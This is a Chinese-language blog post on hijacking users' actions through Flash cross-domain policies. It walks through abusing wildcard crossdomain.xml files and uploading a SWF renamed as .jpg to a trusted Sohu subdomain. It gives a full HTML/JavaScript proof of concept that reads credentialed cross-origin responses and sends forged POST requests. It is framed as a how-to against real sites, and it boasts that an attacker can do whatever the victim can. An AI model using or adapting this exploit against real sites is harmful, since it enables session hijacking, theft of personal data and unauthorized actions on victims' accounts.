文档章节

Flash跨域劫持用户操作

FenG_Vnc
 FenG_Vnc
发布于 2016/04/17 22:26
字数 809
阅读 61
收藏 0


漏洞利用一:

目标站点crossdomain文件配置星号,例如

http://news.sohu.com/crossdomain.xml

那么就可以利用flash在任意域向目标发送请求并得到结果,发送请求的时候是带上cookie的,所以就达到了劫持的效果。

PS:这个搜狐的新闻站并没有什么敏感操作,所以跨域请求并没有意义,只能获取一下它的html源码,这里只是举例


01.jpg


这个POC源码在git上,链接:https://github.com/nccgroup/CrossSiteContentHijacking  (下载回来打开html文件即可)


接下来需要做的,就是找到一个有敏感操作又配置了*号的站点,然后使用此poc生成你需要劫持的操作,如修改昵称、关注某人等

使用方法,如果是Get直接填写Target Page,如果是Post,填写好POST Data,然后点击Show url with Parameters即可生成链接,然后使用短链接即可(你需要把此项目放在服务器也就是公网上,或者你可以放在百度云新浪云或者任意一个shell上)



漏洞利用二:

然而各大站点都有这种跨域的安全意识,所以他们会把有敏感操作的站点设置各种信任域,例如:(搜狐的用户中心)

http://i.sohu.com/crossdomain.xml

<allow-access-from domain="*.sohu.com" />

<allow-access-from domain="*.sohu.com.cn" />

<allow-access-from domain="*.itc.cn" />


也就是说,只有这些信任域的flash才能与它进行通讯,但是这样也并不安全,我们只需要让flash在这其中任意一个域下即可,简单说就是找到任意一个没有过滤的上传点(没有过滤?那不是直接传shell..(我这里指的没有过滤仅指没有过滤文件内容,如果你可以控制后缀和路径还能让它解析的话那就拿shell吧) 找了一会,找到上传点(漏洞还未公开这里不方便公布),我们将swf后缀改为jpg,然后上传,得到: http://****.sohu.com/2015******.jpg 接下来你可以又可以使用上面的POC进行劫持操作了,当然也有大牛自己写的版本。 POC:


<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk"/>
<title>csrftest</title>

<script>
function Connection(Sendtype,url,content,callback){
    if (window.XMLHttpRequest){
        var xmlhttp=new XMLHttpRequest();
    }
    else{
        var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    } 
    xmlhttp.onreadystatechange=function(){
        if(xmlhttp.readyState==4&&xmlhttp.status==200)
        {
            callback(xmlhttp.responseText);
        }
    }
    xmlhttp.open(Sendtype,url,true);
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    xmlhttp.withCredentials = "true";
    xmlhttp.send(content);
}
  
function sendToJavaScript(strData){
    var theDiv = document.getElementById("HijackedData");
    var content = document.createTextNode(strData);
    theDiv.appendChild(content);
    theDiv.innerHTML += '<br/>'
    //var posturl = "";   //如果是post,请去掉这三行的注释
    //var postdata= "";    
    //Connection("POST",posturl,postdata,function(callback){});
   

}

</script>

</head>

<body>

<div id=HijackedData></div>

<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://127.0.0.1/upload/2015.jpg">   //你上传的图片后缀的flash

<param name="AllowScriptAccess" value="always">
<param name="flashvars" value="input=http://127.0.0.1">  //你要请求的地址

</object>

</body>

</html> 




最后让用户访问你构造的POC页面,即可达到劫持的效果

如图,成功跨域获取带有搜狐cookie用户的用户名以及其他资料,当然你还可以模拟其他任何操作,基本用户能做什么,你就能做什么。

01.jpg


相关资料:

http://www.freebuf.com/articles/web/37432.html

http://www.freebuf.com/articles/web/35353.html

案例:

http://wooyun.org/bugs/wooyun-2010-088845

POC:

https://github.com/gursev/flash-xdomain-xploit

https://github.com/nccgroup/CrossSiteContentHijacking

本文转载自:http://jeary.org/post-54.html

上一篇: python操作mongodb
FenG_Vnc
粉丝 11
博文 24
码字总数 11100
作品 0
深圳
其他
私信 提问
加载中

评论(1)

FenG_Vnc
FenG_Vnc 博主
https://15.rs/ContentHijacking/ContentHijacking.html 配置POC
HTML5安全风险详析之一:CORS攻击

CORS-CrossOrigin Resources Sharing,也即跨源资源共享,它定义了一种浏览器和服务器交互的方式来确定是否允许跨域请求。它是一个妥协,有更大的灵活性,但比起简单地允许所有这些的要求来说...

zyt_1978
2016/03/19
67
0
WEB安全之CSRF&ClickJacking

一、CSRF CSRF的全名是Cross Site Request Forgery,即跨站点请求伪站。 1、浏览器的cookie策略 很多攻击者伪造的请求之所以能在在服务器验证通过,是因为用户的浏览器成功发送了cookie的缘故...

TsingCall
2017/09/30
0
0
SpringBoot +spring security 与CSRF有关的几个 问题

1、问题 开启 csrf 后 列表页面没有数据 页面console.log(403) 2、科普 首先,科普一下,什么是"CSRF"? 这是一个web应用安全的问题,CSRF(Cross-site request forgery)跨站请求伪造,也被称...

douruanliang
2018/05/15
0
0
Flash完美跨域访问的方法

首先,你要确定以下几点,否则可能无法实现:    1、你要跨到哪个域,你必须能管理那域上文件,因为这里要放一个通行文件。    2、你的Flash如果只有SWF,那不一定能实现,因为有时,F...

455575834
2015/06/02
0
0
回头再说:Uploadify跨域上传原理

《 回头再说:jQuery跨域原理 》一文提到浏览器的同源策略以及使用JsonP的方式实现跨域;在评论中金色海洋提出了一个问题: 我最近在用 uploadify + ashx 来做文件上传的功能。都测试成功了,但...

唐玄奘
2017/12/03
0
0

没有更多内容

加载失败,请刷新页面

加载更多

Android实现App版本自动更新

现在很多的App中都会有一个检查版本的功能。例如斗鱼TV App的设置界面下: 当我们点击检查更新的时候,就会向服务器发起版本检测的请求。一般的处理方式是:服务器返回的App版本与当前手机安...

shzwork
30分钟前
37
0
npm 发布webpack插件 webpack-html-cdn-plugin

初始化一个项目 npm init 切换到npm源 淘宝 npm config set registry https://registry.npm.taobao.org npm npm config set registry http://registry.npmjs.org 登录 npm login 登录状态......

阿豪boy
37分钟前
55
0
java基础(16)递归

一.说明 递归:方法内调用自己 public static void run1(){ //递归 run1(); } 二.入门: 三.执行流程: 四.无限循环:经常用 无限递归不要轻易使用,无限递归的终点是:栈内存溢出错误 五.递...

煌sir
42分钟前
35
0
REST接口设计规范总结

URI格式规范 URI中尽量使用连字符”-“代替下划线”_”的使用 URI中统一使用小写字母 URI中不要包含文件(脚本)的扩展名 URI命名规范 文档(Document)类型的资源用名词(短语)单数命名 集合(Co...

Treize
今天
57
0
CentOS-配置YUM源加速(阿里云、Nexus3)

备份本地源 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 配置CentOS6 $ wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/......

-自由人生-
今天
80
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部